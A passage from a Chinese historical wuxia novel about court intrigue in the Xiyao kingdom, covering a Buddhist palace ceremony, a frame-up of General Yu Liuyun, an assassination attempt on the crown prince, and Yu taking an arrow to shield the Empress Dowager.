玉旒云笑道:“方才回来的这一路上,我就一直在想这件事。牟太师给赵王爷装二十门火炮,要从水路运到我国。我国却是没有出海口的,所以这艘船必然要经过郑国。郑国去年才割地称臣,谁知道他们心里是否真心臣服?如果他们平白地多出许多火器来……” “你想借机攻打郑国?” 玉旒云既不点头也不摇头,拿了把剪子轻轻剪了剪烛花,火光在她的眸子里跳动着:“我想要造成郑国攻打我国的假象,到时候离前线最近的部队就是咱们驻扎在瑞津的人马。刘子飞和吕异这两个草包当会奉命领兵东进,而咱们俩个——”她边说边用手指在桌上画着地图:“咱们两个应该在一个没人知道的地方打猎游玩,恰好就撞到了进发的大军……” “你想就这样回到军队中去?”石梦泉觉得这个计划实在轻率,“没有皇上的圣旨,就算是士兵肯听咱们的,把郑国攻了下来,回朝之后也回受处罚的。” 玉旒云道:“我知道,所以咱们应该是打猎来到了郑国附近,恰巧听到了开战的消息,又有皇上的圣旨传来……” 石梦泉道:“那我们就得事先通知皇上。即便如此,火炮运到,假装开战,大军进发,圣旨来到——这么多件事的时间都要配合得刚刚好,实在是很困难的。我以为大人此举太过冒险。” 玉旒云道:“时间配合上的确是要多花点精神,但也不是不可能的嘛。我想过了,楚国武林的那群匹夫四处活动,咱们要穿过楚国北归,实在是难上加难。倒不如走水路稳妥些。如果我们叫段青锋安排一条商船紧跟在火炮船之后,就可以知道它确切的进港时间。” “那么给皇上的信呢?”石梦泉道,“公孙天成的信用私邮而被截获,官邮肯定被盯得更紧。” 玉旒云道:“那是在西瑶境内。我们其实没必要这么早就通知皇上,时间隔得久了,谁知中间会生出什么变故来?我想,应该等到了大青河河口靠港,再由郑国递送到我国。一定进了樾境,就可以按民信急件来递送。赵王虽然广结党羽,还不至于查每一封每信吧?我们把这封信送给你母亲,再由她转给我姐姐——” “自然就到了皇上的手中!”石梦泉明白了玉旒云的用意。 玉旒云点头:“这封信送出后一两天,边境上就可以出事了。军报是八百里加急递送的,咱们须得保证军报到达朝廷时,皇上已经收到咱们的信,这样他才既不会被这突如其来的战争吓个半死,也不会一时慌乱就派别的将领来支援刘子飞。” 石梦泉皱着眉头,将她这个大胆的计划仔细思考,虽然仿佛环环相扣,很是周详,但是只要其中的一个环节出了问题,就满盘皆输。他不想泼她的冷水,然而他的责任是替她看清危险。“假如……”他的手指在桌面上缓缓地移动,退出了玉旒云方才画过的大青河口,回到了天江,回到了西瑶,“假如牟太师并不履行诺言,那该如何?” “你是说假如牟太师不把火炮装船?”玉旒云虚起了眼睛,“那我就让段青锋来给我装。” “什么意思?” 玉旒云顽皮地将剪刀在虚空中剪了两下,道:“还记得孝文太后这老妖婆怎样批评我大青河之战的策略吗?吃一堑怎么可能不长一智?” 石梦泉知道她这次是做了两手准备,不过,还不不太明白她的具体计划。 玉旒云道:“牟太师要柴掌柜帮他杀一个人,你猜这个人是谁?” “牟太师想对付,又不敢亲自动手,这人的来头自然不小。”石梦泉道,“西瑶一国中怕是除了段青锋之外,就是孝文太后了。” 玉旒云依然“喀嚓喀嚓”地玩着剪刀:“如果这两者再选其一呢?” 石梦泉想了想:“段青锋是西瑶王位唯一的继承人,牟太师若要杀他,那就是自己想做皇帝,虽然他在朝中势力极大,但我看他还没有这个打算。孝文太后是幕后支持段青锋的人,段青锋和牟太师不和,一旦登基,牟太师地位不保,所以他想除掉孝文太后,使段青锋没有后盾,将来自己就可以继续在朝中呼风唤雨。所以二选其一,我觉得他是要杀孝文太后。” 玉旒云道:“我也是这样猜。可是我又想,孝文太后当了几十年的尼姑,在朝中并没有什么势力,哪怕身边有几位高手,自己又老谋深算,顶多也只是为段青锋出出主意而已。牟太师杀她……为什么是现在?杀了又有什么用?” 孝文太后年来帮助段青锋建立自己的人脉网络,让他暗地里养精蓄锐,表面上花天酒地,预备他登基后出其不意,消灭牟太师在朝中的势力。然而这一次的事件却把两人都推到了明处。石梦泉想,牟太师发觉之后,能想到的最简单的解决办法,当然就是杀掉孝文太后,趁着段青锋羽翼未丰,就给他一个致命的打击,将来就好控制他。这样虽然也能解释得通,可是孝文太后的行为……思绪变成一团乱麻。他让自己不要去考虑那么遥远的事,只问道:“就算牟太师让柴掌柜杀孝文太后,以柴掌柜手下的那些人,难道还能对付得了太后身边的高手?” 玉旒云道:“那是柴掌柜要烦心的事,咱们不必劳神。” 石梦泉道:“可万一柴掌柜办不成,牟太师就不会把火炮给他。” 玉旒云笑道:“可不是!柴掌柜办不成这事,就一定会掉脑袋。他的脑袋都掉了,牟太师和赵王爷还结什么盟?” 石梦泉一怔,她又接着说下去:“而公孙天成多半活不过今晚,自然就不会出现西瑶和楚国结盟的事。楚国的使节和赵王爷的手下都死在了西瑶,段青锋结盟不成反结了怨,他还有什么选择?只能跟我合作了。” 她将剪刀的口叉开摆在桌子上,用手划着那个“叉”型,仿佛两条截然不同,又相互交叉的路径:“我不管牟太师和柴掌柜他们两个怎样鬼打鬼,明天法会上我们要做的事只有一件,那就是看戏。倘若事情朝这边发展,”她指着剪刀的半边:“我们就这样来应付;倘若事情往那边发展——”她指指剪刀的另半边:“我们自然就那样来对付。不管怎么样,我们在西瑶是不能再拖下去了。” 她说着,若有所思地盯着小小的剪刀,似乎是希望借助这锐利的刀口为自己杀出一条路来:“没想到西瑶国家虽小,情势竟也如此复杂。我开始想……是不是起初决定来这里,就是错误的呢?” 方才还说得那样胸有成竹,却实际满怀担忧。人前那么不可一世的玉旒云,也有脆弱的一面。她的这一面,大概只有石梦泉见到吧。 来这里的决定是错误的吗?石梦泉想,在战略上看也许是,因为至今他们还一事无成,反而令自己身陷险境;西京的任何消息他们一无所知,自己的行踪却可能早被赵王知晓。 不过,这样一路行来,没有别人,只有他和她。在于适之坟墓中的相互依偎,六合居里的把盏言欢,山野之中并辔同行,还有神秘老人家中围坐一桌吃着粗茶淡饭……这一生也许都不会再有了吧? 所以,即使战略上是错误的,即使等待他们的是吉凶未卜的将来,他也不后悔。 “其实也不能这么说,”他柔声道,“至少我们对赵王爷的阴谋又多了解了几分,这一路上遇到的人和事,将来说不准什么时候就能用上。” 玉旒云点点头:“至少我的围棋技艺又进步了。那个神秘老人邪派高手,终有一日,我要他为我所用。就不知用什么方法可以打动他……他重情重义,假如我能帮他给翦重华报仇……或者我能寻访到翦重华后人的下落——他不是还有个女儿没死么……”回忆起瞎老人讲的故事来,她忽然“啊”地一叫:“梦泉,翦重华是不是曾经做了栗佤族的大祭司?” 石梦泉想了想,道:“不错。” 玉旒云道:“他死了之后,他妻子自刎殉夫,而女儿就跟着栗佤族大王南渡天江。如果这个小姑娘没有死,应该是由栗佤族人抚养长大的吧?” 石梦泉道:“当时翦小姐是九岁,六十年过去,如果还活着,已是古稀老妇了,你要到哪里去寻她?” 玉旒云道:“我不要去寻他,我觉得我们已经找到她了——你还记得晋王妃说孝文老太后的身世吗?” 石梦泉当然记得,穆成雪说过,孝文太后是栗佤族的大祭司的女儿。“你不会是说太后她就是……” 玉旒云眼里闪着光芒:“不一定是,但总差不远,年龄、身世,还有她身边的四大高手,我依稀记得,他们争吵时曾经说过什么谁的祖师‘先向翦大王学艺’,大概他们就是翦重华当年在栗佤族做大祭司时传下的弟子吧。” 石梦泉仔细回想,的确是听过这么一句,但是同因不同形的字多得去了,谁知道指的是不是翦重华?“大人,这事要慎重……” “自然,自然,”玉旒云兴奋地,“明天法会上,我就来试试这老妖婆……怎么早没想到呢……” 正说着的时候,她突然打住。石梦泉本要问“做什么”,但是立刻就反应了过来——院子里有响动,怕是杀公孙天成的人来了。 51. 第 51 章 公孙天成失踪了。这是张至美发现的。他终于在《彼岸花》中得了一个小小的伴唱角色。这戏原定在十一月十七阿弥陀佛的诞辰献演,不过因为这次的观音出家日法会准备仓促,不曾备下节目,所以临时决定将演出提前。张至美喜不自禁,跟着众人苦练了三天,到了法会之前,就急急地来告诉他的好兄弟,谁知,公孙天成的房间空无一人。 好像是遭了贼一般,什物被丢得满地都是。张至美立刻意识到他的好兄弟出了事,高喊“救命”。 五洲馆里的人都被惊动了,纷纷跑了出来。玉旒云和石梦泉不紧不慢地跟着,只有他们心里才知道是出了什么事:前夜无声无息,有人来了又走。两人自门缝里看一眼,公孙天成房里灯熄灭了。只是,这样生不见人,死不见尸,又叫他们两人心中有些疑问:究竟是牟太师做得干净,还是公孙老狐狸神机妙算,已经脱了身? 无论如何,他们现在都只能装做和众人一样的惊讶,心里俱想:假如公孙天成是逃出升天了,不知他的下一步计划是什么? 这边的骚乱没有多久便渐渐平息了下去——段青锋亲自来接玉、石二人进宫。各国使节素不知玉、石二人真实身份,只道这是两个才貌具佳的年轻公子,感慨他们和段青锋站在一处,活脱脱就是一幅《百年才俊图》。大家本是一类人物,难怪太子喜欢同他们结交。 段青锋身为一国之太子,也不能太过厚此薄彼。为各国使节所准备的车驾也随后带到。他悄悄问了玉旒云一声:“公孙天成呢,怎么不见?” 玉旒云不待答,张至美已“扑通”一声跪了下来:“殿下明察,小人怀疑五洲馆夜遇盗匪,将我公孙大哥掳了去。” “还有这种事?”段青锋皱起眉头。 五洲馆管事的官员不乐意了,出来道:“张公子,你说出了盗匪,有何凭证?怎么盗匪会单单掳走公孙先生呢?旁人倒也不听有财物损失。” 张至美道:“公孙大哥的房里被翻得乱七八糟。他是从蓬莱国来谈珍珠生意的,那盗匪许是贪图他的珍珠。” 五洲馆官员道:“我们五洲馆夜间都有人守卫,盗匪岂有那么容易进来的?其实我前些天看到公孙先生的随从匆匆背包袱离开了,然后公孙先生又急着向我打听朝北方递信的事。说不准他是有事到楚国去了呢?” 张至美自然不信:“怎么可能?大哥是不可能不看《彼岸花》正式演出的!” 段青锋虽然觉得事有蹊跷,但是若听这傻瓜在此闹事,实在是浪费时间,因挥了挥手道:“吉时就快过了,请各位尊使先跟小王进宫吧。”便亲自引着玉、石二人先出五洲馆登车。其时悄悄问:“公孙天成真的是回楚国去了?” 玉旒云和石梦泉只是摇头而已。 多问也无用。只有领着一行人来到宫中。玉、石二人到了临渊已经好几日了,这才是第一次进西瑶皇宫。见那宫殿依山而建,前殿、中殿、后殿依次升高,后宫和花园基本就是建在半山腰。楚之凉城、樾之西京都是地势平缓之城,要看皇城全貌,须得登高俯视。而西瑶皇宫巧依山势,在正门口就可将其巍峨华丽一览无余,不可不谓匠心独具。 因是观音出家法会,所以皇宫一早就布置下了莲花。九月的时候在中原荷花早已开尽,然而在西瑶,白荷、粉荷,以及罕见的金荷依旧争奇斗妍,阵阵清香沁人心脾。 进到宫城的正门,便听到里面宣唱“南无观世音菩萨”之声。信佛的人都晓得,依照规矩,这日是要从凌晨起就唱念观音赞的。而玉旒云只关心“正事”。她轻声问段青锋:“孝文太后她老人家和武德帝陛下都到了么?” 段青锋道:“我出来接你们时都还未到,这时应该到了吧。” 众人便进宫来,一路有宫女太监扮的金童玉女,手挽花篮向大家撒下五彩花瓣。行到前殿的中庭,见有一高台,上面扮的是高僧说法,正取那“六欲诸天来供养,天华乱坠遍虚空”之意。而最奇特的是,当众人走到跟前时,这戏台竟然向上升起,成为一道可以通过的拱门。众人待走到门下才发现竟然有几十名太监在台下叠起罗汉,硬是将这戏台顶了起来。动作如此整齐,仿佛是被神来之手轻轻托起一般,实在叫人不得不叹为观止。 过了这道拱门,就见到西瑶的文武官员分列在前殿台阶的两侧。众人抬头一望,殿中金碧辉煌,让人睁不开眼睛——听说西瑶的这座宝殿一柱一棱都包了黄铜,果然不假。待大家终于适应了这灿烂的光辉,定睛再看时,才见殿当中龙椅上端坐一人,正是武德帝了。于是段青锋率众跪倒,行了三跪九叩的大礼,口呼万岁。 武德帝叫大家平身:“今日是观世音菩萨出家法会,你们当只拜菩萨,不必拜朕了。”又问段青锋:“你祖母因何还未到?你派人去迎她老人家了么?” 段青锋道:“回父王,迎驾的队伍半夜就已在路边等着。皇祖母她老人家应该就快到了。她不会误了上大供的。” 武德帝“恩”了一声,不置可否。玉旒云却和石梦泉互望了一眼:莫非牟希来真的是叫柴掌柜杀老太后,而且已经得手?他们看看站在大臣领头位置的牟希来,这老太师好整以暇,仿佛被佛乐所陶醉,单从其神情丝毫也解读不出个所以然来。 众人只有等着。时间在一点一滴地过去。佛曲奏了一套又一套,最后都唱回了头了,还不见孝文太后的车驾来到。段青锋显得有些着急了,请示武德帝是否要派人去看个究竟。武德帝不待答,一边牟希来就说道:“万岁,太后娘娘途中耽搁一定有其原因。微臣以为派人去查探是应该的,却同时也不能误了上大供,否则有损国运。” 武德帝拈了拈须,似乎是有些犹豫。 段青锋道:“老师,这本是皇祖母为菩萨办的法会,怎么能不等她老人家来呢?”他原本对这位师父还有不少敬畏,但自那日被孝文太后教训之后,明显语气就多了些强硬。 牟希来却面不改色,道:“殿下,是菩萨大还是太后娘娘大呢?是国运重要还是太后娘娘重要呢?她老人家是修道之人,应当也明白这些浅显的道理。” 看他这样有恃无恐,莫非真的已经把太后杀了?玉旒云微微皱起了眉头,就凭柴掌柜手下那些人?怎么可能!不过,她跟石梦泉早就决定今日是来“看戏”的,所以不动声色。 然而就在这时,佛乐的旋律一变,钟鼓齐鸣,殿前那说法的戏台再次升起,只见一班尼姑簇拥着缁衣的孝文太后走上殿来。“太师说的果然是至理。”她道,“我吃斋念佛都是为了国运昌隆。若是因我而耽误了吉时,岂不本末倒置?还好赶得及。” 她一出现,武德帝就立刻从龙椅上站起了身,走下来跪拜迎接。牟希来领着群臣,段青锋带着各国使节也齐来行礼。玉旒云仔细看看,那武功高强的玄衣师太紧紧护卫在孝文太后的身边。不知在途中是不是和柴掌柜的人交过了手呢?她想,其他三位高手怎么不见?又偷偷看了一眼牟希来:老太师面上并无惊讶之色。怪了,莫非他要杀的另有其人?还是他选的时机尚未到来? 孝文太后叫大家不必多礼,也同样说了“只拜菩萨”的话,末了让武德帝搀扶着率领众人朝中殿走去,边走边淡淡地解释:“也怪为娘老糊涂了。我先已抄好了一份《妙法莲华经》,行到半路才发现竟忘在了庵中,又赶紧折回去拿。为了赶路换小轿,不想山路颠簸轿杠竟断了,才耽搁到这光景。” 原来是换了轿子,玉旒云想,是凑巧呢,还是老太后够警觉? 进到中殿才看到了后宫和亲贵的女眷。西瑶女子都妩媚异常,段青锋的几个姑母徐娘半老还是艳丽无双,而几个同父异母的姐妹则明眸善睐——玉旒云注意到,这些年轻女子的目光一例都停在卓思远的身上。她就轻轻捅了捅石梦泉,笑道:“看来这位卓大人是西瑶的大情圣。你若想脱离愉郡主的温柔乡,不如把卓大人绑回西京去吧。” 石梦泉看她还有心情开玩笑,便也顺口道:“我怎么敢?不怕西瑶的这些姑娘齐来追杀我么?”两人便都一笑。 孝文太后用目光在女眷中搜寻了一圈,问道:“成雪呢?怎么不见她?” “回皇祖母的话,”段青锋道,“皇嫂为今日的法会花了不少功夫,她还准备了一个节目,待大家都落了座,她就出来拜见您老人家了。” 孝文太后点了点头。众人便依序坐下。本来殿上只有皇亲国戚的位子,大臣和外国使节须坐在庭院中。可段青锋先已把玉、石二人的座位安排在了自己的身边。牟希来见到了,把眉头一拧,正要出门,武德帝又叫他:“太师,你是朕和太子的老师,就像一家人一般,你来坐在朕的身边吧。”他这才又恢复了傲然的神态。 果然如段青锋所言,众人一坐定,钟鼓丝竹齐鸣,接着传来百十名少女轻柔的梵唱。并看不见这些歌者身在何方,但声音就像是从四面而来,有如天籁。而歌声之中,十数名彩衣宫娥轻移莲步,仿佛一朵祥云飘来,上面托着一朵巨大的金莲花。花中女子身着白衣,手持羊脂玉净瓶,正是晋王妃穆成雪扮的观世音菩萨。她拥有绝世姿容,这样被人抬着到了跟前,微微含笑,擎着净瓶中的柳枝轻轻把圣水洒向四方,果真和菩萨下凡无异。各国使节看得都呆住了。石梦泉只瞥了一眼段青锋,见后者的绿眸中有许多可望而不可及的痛楚。他心中不由的一动,又望了望自己身边的玉旒云,看她正仔细盯着宾客的队伍想寻找可疑之人,竟丝毫也未留心到自己,便不禁生出一种和段青锋同病相怜的感受来。 穆成雪扮的观音绕着中殿和庭院走了一圈,最后又回到孝文太后的跟前,步下莲花座来,行礼道:“儿臣参见皇祖母,参见父王,参见太子殿下。” “免了。”孝文太后道,“你现在扮了菩萨,哪有菩萨向人行礼的?” 穆成雪低着头:“是,儿臣知错了。”她身边一个扮玉女的宫娥双手捧上一个卷轴来。穆成雪献在孝文太后的面前:“这是儿臣绣的《妙法莲华经》,特为皇祖母的法会献礼。” “难得你有心。”孝文太后道,“坐吧。”便拉她坐在自己的身边,另一侧正是段青锋。穆成雪始终垂着头,除了自己的衣襟,什么也不看。段青锋也是目视前方。玉旒云想着引玉斋中那幅奇特的画以及方砖下的头发,就把眼看了看卓思远——这位西瑶第一美男子在一群女眷的注视下泰然自若,丝毫也不心动。 这三个人也不知是什么关系?她又转回来留心牟希来。 接着便到了上大供的吉时。西瑶全国信佛,对这项仪式非常的郑重其事。前有高僧带领,后有皇家簇拥,鲜花如海,香烟似云,真叫人目不暇接。最可惊叹的是,百多名僧尼的木鱼一齐敲响,却并无嘈杂之感,反而使人心神安宁。玉旒云甚至有一刻觉得脑海一片空白,竟忘记自己是来做什么的了。直到仪式末尾,“铛”的一声钟响,众人又齐唱起“南无观世音菩萨”,她才猛醒了过来,周围的一切毫无异状。 今天真正的好戏要到什么时候才开演? 再下来便是一百太监和一百宫女皈依佛门,诸人都到万佛阁观礼。那儿除了供奉佛像之外,也供着段家的历代祖先,功用其实好比楚、樾两国的奉先殿,各种大典都在此举行。只是西瑶建筑与别不同,虽称为“阁”却其实是三座白塔,当中高,两边矮,前面还有一处人工挖掘而成的湖,水平如镜,遍栽莲花。那将要出家的太监和宫女就在湖这边跪着,等待剃度。 众人陆续到了近前。司仪的太监尖着嗓子道:“观世音菩萨慈航普渡!”话音落时,彩衣宫娥又把金莲花抬了出来,请穆成雪扮观音,朝湖上去。各国使节都惊讶万分,不知这些人怎么能在水面上行走。玉、石二人仔细观察,才发现湖中有些莲叶其实是木桩子,宫女们乃是踏桩而行。但如此平稳,足见训练有素。 不过,才走到水中央时,只见那仅莲花忽然一倾斜,在众人的惊呼声中,彩衣宫女和穆成雪都相继落水。现场登时大乱。段青锋“倏”地跃起,好像要扑下水救人,可是才跑几步,又猛地站住了,仿佛被一双看不见的巨手所制,浑身不住地颤抖。 “殿下!”卓思远从大臣的队伍里疾步抢上,“殿下莫惊,微臣这就救娘娘上来!”说时,已经紧跑几步,一纵身,跃入了湖中。那边厢早也有许多会水的太监下去救人了。 宾客中有不少都注意到了段青锋的怪异举止,交头接耳。而亲贵中就传出嗡嗡的议论:“当年那个女人也是从这里掉下去的吧……说是才一岁多的时候亲眼见到那个女人发疯溺水,就一直害怕水呢……” 那个女人?玉旒云和石梦泉都不清楚段青锋的过去。其实“那个女人”指的自然是他那在立后大典上丧命的生母景贵妃。 荷花池内好一阵骚乱。不过总算是有惊无险,不到一柱香的时间,所有落水的宫女并穆成雪都被救上了岸来。穆成雪面色苍白浑身透湿,不去更衣,却先来向孝文太后请罪:“儿臣扰乱了法会,请皇祖母降罪。” 孝文太后还没发话,段青锋哑声咆哮了起来:“你有什么罪?是哪一个没有抬稳莲花座让皇嫂落水的?快给我出来!” 宫里的人都很少见他,即使见到也都是花花公子的模样,几时看到过这副表情?冰绿的眸子就像两星绿色的火焰。 那失手的宫女立刻连滚带爬地来到了他的脚边:“殿下饶命,是奴婢的错!请殿下饶命!” “我饶你?”段青锋抬脚直踹了过去。 “殿下!”那边一个太监风风火火地跑了过来,“殿下,奴才有下情回报——”他的拂尘搭在臂弯里,双手捧着一把剑。周围的侍卫立刻就拥了上来:“大胆,皇上和太后面前竟敢动兵器?” 太监“扑通”一跪,将剑捧得高过头顶:“启禀万岁、娘娘和太子殿下,这剑是在荷花池中发现的。有人将莲叶木桩锯断了,用这把剑轻轻地钉在一起。当宫女们踩上去时,剑身偏斜,木桩倾倒,王妃娘娘就落了水。” 此言一出,满座皆惊:这不是有人蓄意谋害?玉旒云和石梦泉则飞快地交换了一个眼神:这是柴掌柜的杰作吗?他要害穆成雪做什么? 武德帝一直像尊佛似的安详,这时拍案而起:“岂有此理!竟在观音出家法会上有此恶行,天理难容!牟太师,朕令你立刻追查凶手!” 牟希来躬身领旨,立刻叫刑部尚书出列,将证物拿回去详加调查。不过,当他走近看那把剑时,目光忽然定住。“万岁!”他叫道,“这不是我西瑶的剑!”不顾在皇上面前不得动兵器的规矩,他将剑擎了,呈到武德帝面前:“万岁请看,这剑有三尺半长,我西瑶的剑都只有三尺。这剑上的花纹也和我国的不同……” 武德帝变了面色:“怎么,太师的意思是有外国人混进皇宫图谋不轨?我西瑶一向不结盟、不参战,怎么会和他国结怨呢?” 刑部尚书也凑上来细看这剑。“咦,这吞口处有字!”他眯起老花的眼睛仔细辨认,“惊……雷……啊呀!惊雷!这是……” “惊雷大将军玉旒云!”牟希来替他说出下半句话,“是樾国奸细混进宫来了!” 西瑶虽说是不结盟、不参战,但是对玉旒云的赫赫战功也都略有耳闻,尤其听到从楚国传来的添油加醋的说法,说她如何凶残嗜血、杀戮成性,亲贵和大臣顷刻乱成一团。玉旒云自己不动声色,但心里既好笑,又好气:我派人来谋害你们的王妃做什么?牟希来啊牟希来,你想用这种法子来逼迫我放弃结盟,也得做场合情合理的戏吧! 果然,段青锋发话了:“玉旒云和我国素无仇怨,为何要跋山涉水来谋害皇嫂?” 牟希来毫不慌乱:“殿下此问,老臣也没有答案。不过老臣想,玉旒云的细作遍布天下,在我西瑶境内出没也不希奇。最近市井中有人演一出《大青河之战》的闹剧,可以诋毁玉旒云的形象。又盛传此剧是出自殿下之手,惊雷大将军除了名的心胸狭窄,她的手下为这点小事来报复我国,也是常情吧?” 玉旒云简直想要冷笑出声,暗道:好你个牟希来老头子,我看你还怎么掰下去! 段青锋也猜出这必然是牟希来安排的了,怒不可遏,然而他又不能对外宣布玉、石二人的身份以及自己请他们来的目的,只有冷冷一笑,道:“看来惊雷将军的细作本领通天,竟然能潜入皇宫。老师,我们得加强防范才好!” 牟希来道:“殿下所言极是。老臣恳请万岁、太后娘娘,为安全起见,应中止今日的法会。” “准……”武德帝后面的那个“奏”字还没出口,孝文太后慢条斯理道:“法会是为纪念观世音菩萨成道,又是为国祈福。佛家言,我不入地狱,谁入地狱。为了这一点危险就中止法会,恐非社稷之福。皇帝,你看呢?”她这样一说,武德帝不好忤逆母亲,只有点了点头:“那就继续吧。” 经过这一场变乱,典礼失去了开始的华丽从容,主持剃度的僧尼双手发抖,好几个太监宫女都被刮破了头皮。好在并没有再出什么大乱子,剃度结束时,穆成雪也梳洗完毕回到了太后的身边。 玉旒云想,也许牟希来并不是真的要杀死什么人,只是想嫁祸给她,让她无法和武德帝以及孝文太后谈盟约的事。而柴掌柜则将因为刺杀不成而得不到所应许的二十门火炮,自己劫持炮船的计划也将搁浅。 这该死的老家伙!她恨恨地想。 剃度仪式之后是斋宴和乐舞表演。众人都退到了后殿来。这里的宫殿和庭院都相对宽敞,亲贵、大臣、使节和僧尼全都落座,还在中央空出一大片地做表演之用。太监和宫女为大家献上了各式斋菜,伶人乐官就在空地上献演《百句譬喻经》。形式还是西瑶传统的傩戏,戏子都带着煞白的面具,也不说话,全凭动作和音乐来表现情节。熟悉佛经的人很容易就看明白了,而不熟悉的难免懵懵懂懂。 玉旒云是因为姐姐玉朝雾皇后会读经祈福,才稍稍知道些典故,大约看懂了《尝庵婆罗果喻》、《入海取沉水喻》等几个故事,后来又看到了《见水底金影喻》,她心中不由一动,轻声自语道:“莫非……” 只有石梦泉坐得靠近,才听到了这叹息似的一声,因问:“怎么?” “这个故事……”玉旒云道,“说是从前有一个痴人,看到水底金光闪闪似乎有黄金,就拼命在那污泥里摸来摸去,结果什么也抓不到。后来问了他父亲,他父亲说,必然是飞鸟将金子衔来放在了树上,水中只是影子而已。这个痴人到树上寻找,果然就找到了。” 石梦泉的母亲和姑母都陪皇后念佛,他也略略从二老处听过些佛理,因道:“佛家常说人生的一切都是虚空,大约就是‘水中金’吧。” “虚则实之,实则虚之。”玉旒云似笑非笑,“你看某人的计策,究竟哪一个是哪一个倒影?我们所看到的又是什么呢?” 石梦泉知她指的是牟希来的计划,他不爱猜想,于是沉默不语。 玉旒云道:“烛火的两边都放上镜子,火在镜中,镜又在镜中,所以镜中之火也在镜中……如果只看镜子,如何去灭火呢?” “你看到火?”石梦泉问。 玉旒云摇了摇头:“但是我知道我刚才看到的应该是镜子。” 石梦泉理会得这个哑谜的意思,只有密切注意着周围人的一举一动。 不多时,演经告一段落。众人听得一阵乐曲如自天外而来,又忽然有花瓣由空中降下,抬头看时,见有宫女扮做香音神从后殿庭院的四角翩翩飞出。正是希奇不已,再细看,原来庭院四角都有旗杆,精铁铸成,两两之间拉着手指搬粗细的铁索,扮香音神的宫女练了走钢索的技巧,在其上翩然奔走,恍若神仙。众人不禁都鼓掌叫好。四宫女走到正中,一齐轻轻纵起,又稳当当落在铁索上,不过两两已换了位子。她们手拉手,腰肢柔若无骨地向后弯下,粉色的衣裙随风而舞,众人仰头望去,好像一朵硕大的荷花开在半空,不禁又是一阵喝彩。 这边叫好声还未止,忽然又见到几个红衣宫女自铁索上飞跑而来。她们每人都扯着一匹大红色的绸缎,几个来回之后,竟然将整个庭院上空都遮蔽住了。其时不过中午,天还亮堂着,但是绸缎下面却显得阴暗。武德帝皱着眉头问了一句:“这是什么?” 段青锋回答:“是儿臣的戏《彼岸花》。”他说时,手里已多了个面具,往脸上一戴,大步走下场去。众人方才只顾希奇天上,不曾注意场中已经摆上了一面鼓,四个戴黑面具的白衣人围坐在旁。玉、石二人曾在绿窗小筑中见过一次,这果然是要开演《彼岸花》了。原来绸缎蔽日就是为了达到绿窗小筑舞台那昏暗的效果。 段青锋上得台去就席地而坐,开始敲鼓。四个白衣人则站起了身,一边用奇特的木制乐器伴奏,一边歌唱:“彼岸花,开彼岸。花莫见,叶莫见,到时为彼岸,过处即前生。”唱完了汉文的,复唱梵文,接着,又像那日在绿窗小筑里一样开始舞蹈:“彼岸花兮开彼岸,花莫见叶兮,叶莫见花……” 座中各位大概没有几个看过这么奇特的表演,有人完全被吸引住了,有人则跟邻座窃窃私语。正这时,忽然听得人群中一声高起:“彼岸花兮开彼岸——”大家都惊讶地望了过去,原来是段青锋早就安排在那儿的一个太监,戴着面具,手持灯笼开始歌舞。接着,与他相应和,另一边也有戴着面具的太监加入进了歌舞的行列。不多时,亲贵、大臣、使节和僧尼座中都亮起了红灯笼,《彼岸花》之歌此起彼伏,绵绵不绝,而舞者的衣袖滚滚如浪,正像荼靡花开花盛开。 玉旒云因为先已看过,所以不像旁人那样深为震撼。她听到身边幽怨的一声叹,寻声望去,见是晋王妃穆成雪,在红光的照映下她的双眸闪闪,仿佛要哭,但却没有落下泪来,唯发出叫人肝肠寸断的叹息,喃喃自语,道:“花莫见,叶莫见……到时为彼岸,过处即前生……彼岸究竟在哪里?” 歌舞渐入高潮,就开始有捧腹大笑和捶胸痛哭的。武德帝直是摇头:“这究竟演的是什么东西?”孝文太后却面无表情,看不出是否欣赏。 正在这台上台下群魔乱舞之时,猛听一人叫道:“有刺客!”一声尖锐从一片靡靡突显出来,所有人都是一愣,不辨那声喊究竟是从何处发出,只见有四个穿红衣戴面具的人手持长剑直朝台上击鼓的段青锋扑了过去。 哎呀!玉、石二人心中都是一惊:莫非目标是段青锋? “还不护驾!”牟希来高声喝令。立刻有侍卫上前来将武德帝团团护住,又有一批侍卫三步并作两步朝台上奔。只是,宾客早已混乱起来,其间又有太多参与表演的太监和宫女,听到出了刺客,无不慌乱万分,四下逃窜。大家推推搡搡倒成一片,相互踩踏,哭喊声不绝于耳。 侍卫的行动受阻。台上段青锋已经同四个红衣人打了起来。那四人的武功看来并不甚高,只是配合默契,相互呼应,取长补短。段青锋虽然也懂得武功,可是以一敌四,就显得有些吃力,只能招架,无法还手。 “梦泉,”玉旒云轻声道,“我看这是一个争取人心的好时机。” 争取人心?石梦泉陡然明白了她的意思,点了点头,从旁边的侍卫手中夺下一把刀来,点地疾纵,去助段青锋一臂之力。而几乎在同时,玉旒云看到孝文太后身边一个灰影拔空而起,正是老尼姑玄衣也去救段青锋了。 呵,有她出手,别说是四个,就算再来四个,也伤不了段青锋分毫吧?玉旒云想。就在她这心念一动间,只见混乱的人群人又有三人钻天鹞子般掠起,正是苍翼、白翎和朱卉,原来早就守卫在四周。 红衣人当然不是四大高手的对手。玄衣到了跟前,就像老鹰抓小鸡似的,一手一个提住后心。苍翼赶到时,又把另两个抓住。石梦泉也堪堪来到圈中,扶了段青锋道:“殿下,没有受伤吧?” 段青锋摇了摇头。 苍翼瞪着红衣人骂道:“哪里来的鼠辈,竟然敢暗算太子,快老实交代,否则爷爷把你撕成八块!” 红衣人拧过头去,并不理会。 玄衣道:“师弟,你说话也真有意思。你两个手各抓了一个人,怎么把人家撕成八块?你吹牛不打草稿,难怪人家都不怕你。” 苍翼火了,道:“师妹,这都什么时候了,你还说这种风凉话?” 玄衣道:“什么‘什么时候’?不管什么时候,我都还是你师姐!”

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于是在一片惊呼声中,她飞身向孝文太后扑了过去。时间在那一瞬间似乎变得很长,她眼看着那支羽箭从自己的右胸穿了过去,先是感觉到一凉,接着就想:还好不是要害。直到石梦泉撕心裂肺地喊了声“大人”,并直冲到她身边时,她才感觉到疼了,不过还是笑了笑:“太后娘娘,您没有受伤吧?” 周围的人都惊呆了,连一直佛像搬毫无表情的孝文太后也露出了惊讶之色,牟希来更是手指打颤地指着她,道:“你……你……” 玉旒云感到稍稍有一点头晕,因叫石梦泉扶着才站直了身子:“怎么……太师大人莫非又要说是惊雷大将军派人来捣乱吧?” 牟希来怔了怔,不知要如何应答。 玉旒云冷笑一声,伸手“喀”地将羽箭折断:“惊雷……”她读着上面刻的两个字,又吩咐石梦泉:“你……帮我把那半截箭拔出来,看看箭头是不是樾国的式样。” 